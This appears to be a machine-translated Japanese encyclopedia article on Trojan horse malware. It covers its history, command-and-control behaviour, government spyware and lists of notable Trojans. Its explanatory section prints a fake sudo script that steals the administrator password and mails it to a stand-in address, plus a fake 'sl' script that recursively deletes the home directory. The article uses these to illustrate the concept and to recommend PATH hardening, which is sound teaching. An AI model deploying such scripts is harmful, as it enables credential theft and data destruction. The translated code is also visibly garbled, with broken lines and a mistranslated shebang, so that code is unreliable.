トロイの木馬（コンピューティング）

コンピューターの世界では、トロイの木馬（または単にトロイの木馬）とは、標準的なプログラムを装ってユーザーを欺き、真の目的を誤らせるマルウェアのことです。この用語は、トロイの街を陥落させた欺瞞的なトロイの木馬に関する古代ギリシャの物語に由来しています。^[1]

トロイの木馬は、一般的に何らかのソーシャルエンジニアリングによって拡散されます。たとえば、ユーザーが騙されて、無害に見えるように偽装された電子メールの添付ファイル（記入する通常のフォームなど）を実行したり、ソーシャルメディアやその他の場所で偽の広告をクリックしたりします。ペイロードは何でも構いませんが、最近の多くのフォームはバックドアとして機能し、コントローラーに連絡して、影響を受けたコンピューターに不正にアクセスできるようになります。^[2] ランサムウェア攻撃は、多くの場合、トロイの木馬を使用して実行されます。

コンピュータウイルスやワームとは異なり、トロイの木馬は通常、他のファイルに自分自身を注入したり、自分自身を増殖させたりすることはありません。^[3]

この概念と用語が最初にどこでいつ使用されたかは明らかではありませんが、1971年までに最初のUnixマニュアルでは読者が両方を知っているものと想定されていました。^[4]

もう一つの初期の言及は、1974年の米国空軍のMulticsコンピュータシステムの脆弱性の分析に関する報告書です。^[5]

これは、ケン・トンプソンが1983年にチューリング賞受賞講演「信頼の考察」^[6]で有名になった。その講演の副題は「プログラムにトロイの木馬が存在しないという声明をどの程度まで信じるべきだろうか。ソフトウェアを書いた人を信頼することの方が重要かもしれない」であった。彼は、Multicsのセキュリティに関するレポートからトロイの木馬が存在する可能性があることを知ったと述べている。^{[7] [8]}

トロイの木馬はインストールされると、さまざまな悪意のある動作を実行する可能性があります。多くのトロイの木馬は、インターネットを介して 1 つ以上のコマンド アンド コントロール(C2) サーバーに接続し、指示を待ちます。個々のトロイの木馬は通常、この通信に特定のポート セットを使用するため、検出は比較的簡単です。さらに、他のマルウェアがトロイの木馬を「乗っ取り」、悪意のある動作のプロキシとして使用する可能性があります。^[9]

ドイツ語圏の国では、政府が使用または作成したスパイウェアはgovwareと呼ばれることがあります。Govwareは通常、標的のコンピュータからの通信を傍受するために使用されるトロイの木馬ソフトウェアです。スイスやドイツなどの一部の国では、このようなソフトウェアの使用を規制する法的枠組みがあります。^{[10] [11]} govwareトロイの木馬の例には、スイスのMiniPanzerとMegaPanzer ^[12]、およびR2D2というニックネームのドイツの「国家トロイの木馬」があります。^[10]ドイツのgovwareは、一般の人々に知られていないセキュリティギャップを悪用し、他のアプリケーションによって暗号化される前にスマートフォンのデータにアクセスすることによって機能します。^[13]

ハッカーの間でボットネットが人気を集め、作成者がユーザーのプライバシーを侵害できる広告サービスが利用できるようになったため、トロイの木馬はますます一般的になっています。2009年 1 月から 6 月にかけてBitDefenderが実施した調査によると、「トロイの木馬型マルウェアが増加しており、世界中で検出されたマルウェアの 83% を占めています。」トロイの木馬はワームと関係があり、ワームの助けを借りて拡散し、ワームとともにインターネットを移動します。^[14] BitDefender は、約 15% のコンピューターがボットネットのメンバーであり、通常はトロイの木馬感染によってリクルートされていると述べています。^[15]

最近の調査により、トロイの木馬の手法がクラウドコンピューティングシステムへの攻撃に使用されていることが明らかになりました。クラウドシステムに対するトロイの木馬攻撃は、機能の変更や停止によってクラウドサービスに影響を与える可能性のあるアプリケーションまたはサービスをシステムに挿入しようとします。クラウドシステムが攻撃を正当なものと認識すると、クラウドシステムに損害を与えたり感染させたりする可能性のあるサービスまたはアプリケーションが実行されます。^[16]

トロイの木馬は、正当な機能を実行するように見せかけて、実行するとユーザーのセキュリティを侵害するプログラムです。 ^[17]簡単な例として、Linux sudoコマンドの次の悪意のあるバージョンがあります。攻撃者は、このスクリプトをパブリックに書き込み可能なディレクトリ (など/tmp) に配置します。管理者がこのディレクトリにいて を実行するとsudo、トロイの木馬が実行され、管理者のパスワードが侵害される可能性があります。

#!/usr/bin/env バッシュ

# 画面への文字エコーをオフにします。sudo は、ユーザーがパスワードを入力したときに画面に表示されないようにするためにこれを行います
。stty  -echo

# ユーザーにパスワードを要求し、入力内容を読み取ります。この悪意のあるバージョンの性質を隠すには、ユーザーが間違ったパスワードを入力したときの sudo の動作を模倣して、これを 3 回実行します。
prompt_count = 1 
while [ $prompt_count -le 3 ] ; do echo -n "[sudo] password for $( whoami ) : " read password_input
 echo sleep 3 # sudo は繰り返しプロンプトの間に一時停止しますprompt_count = $(( prompt_count + 1 )) done      
      
         
       
        


# 文字エコーをオンに戻します
。stty echo 

echo $password_input | mail -s " $( whoami )のパスワード" outside@creep.com      

# sudo の実際のエラー メッセージを表示し、自分自身を削除します。
echo "sudo: 3 回の間違ったパスワード試行" 
rm $0  

exit 1 # sudoはパスワード入力に失敗すると1を返します   

sudo トロイの木馬を防ぐためには、環境変数.のエントリをPATH末尾に配置する必要があります。^[18]例PATH=/usr/local/bin:/usr/bin:.:

PATH のどこかにがあると.便利ですが、落とし穴があります。^[19]もう 1 つの例は、次の Linux lsコマンドの悪意のあるバージョンです。ただし、ファイル名は ではなくls、 ですsl。攻撃者はこのスクリプトをパブリックに書き込み可能なディレクトリ (例: /tmp) に配置します。

#!/usr/bin/env バッシュ

# ユーザーのホームディレクトリを削除し、自分自身を削除します。rm  -fr 
~  2 > /dev/null 
rm $0 

悪意のあるプログラマーがこのよくある入力ミスを予測するのを防ぐには、次の手順を実行します。

1. .PATHを省略するか、
2. alias sl=ls^[あ]

• アノム– FBI
• 0zapftis / r2d2 StaatsTrojaner – DigiTask
• FinFisher – レンチ IT ソリューション / ガンマ インターナショナル
• DaVinci / Galileo RCS – HackingTeam
• マジックランタン– FBI
• SUNBURST – SVR / Cozy Bear（疑わしい）
• タオ・クォンタム/フォクサシッド– NSA
• 戦士のプライド– GCHQ

• EGABTR – 1980年代後半
• ネットバス– 1998年（出版）^[20]
• Sub7 by Mobman – 1999年（出版）
• バックオリフィス– 1998年（出版）
• Y3K、ツェレンティス兄弟著 – 2000年（出版）
• ビースト– 2002年（出版）
• Bifrost トロイの木馬– 2004 (公開)
• DarkComet – 2008-2012 (出版済み)
• ブラックホール エクスプロイト キット– 2012 年 (公開)
• Gh0st RAT – 2009 (出版)
• メガパンツァーブンデストロイアナー– 2009年（出版）^{[21] [22]}
• MEMZ by Leurak – 2016 (出版)

• 12トリック– 1990
• Clickbot.A – 2006年（発見）
• ゼウス– 2007年（発見）
• フラッシュバックトロイの木馬– 2011 年 (発見)
• ZeroAccess – 2011年（発見）
• Koobface – 2008年（発見）
• ヴンド– 2009年（発見）
• コアフラッド– 2010年（発見）
• Tiny Banker Trojan – 2012 年 (発見)
• SOVA – 2022年（発見）^[23]
• Shedun Androidマルウェア – 2015年（発見）^{[24] [25] [26] [27] [28] [29]}

コンピュータ用語の「トロイの木馬」は、古代都市トロイの伝説のトロイの木馬に由来しています。このため、「Trojan」は大文字で表記されることが多いです。しかし、スタイルガイドや辞書によって異なるものの、通常は小文字の「trojan」を使用することを推奨するものが多くあります。^{[30] [31]}

• ウィキメディア・コモンズのトロイの木馬（マルウェア）に関連するメディア
• 「CERT アドバイザリ CA-1999-02 トロイの木馬」(PDF)。カーネギーメロン大学ソフトウェアエンジニアリング研究所。2000 年 10 月 17 日時点のオリジナルよりアーカイブ。2019年9 月 15 日閲覧。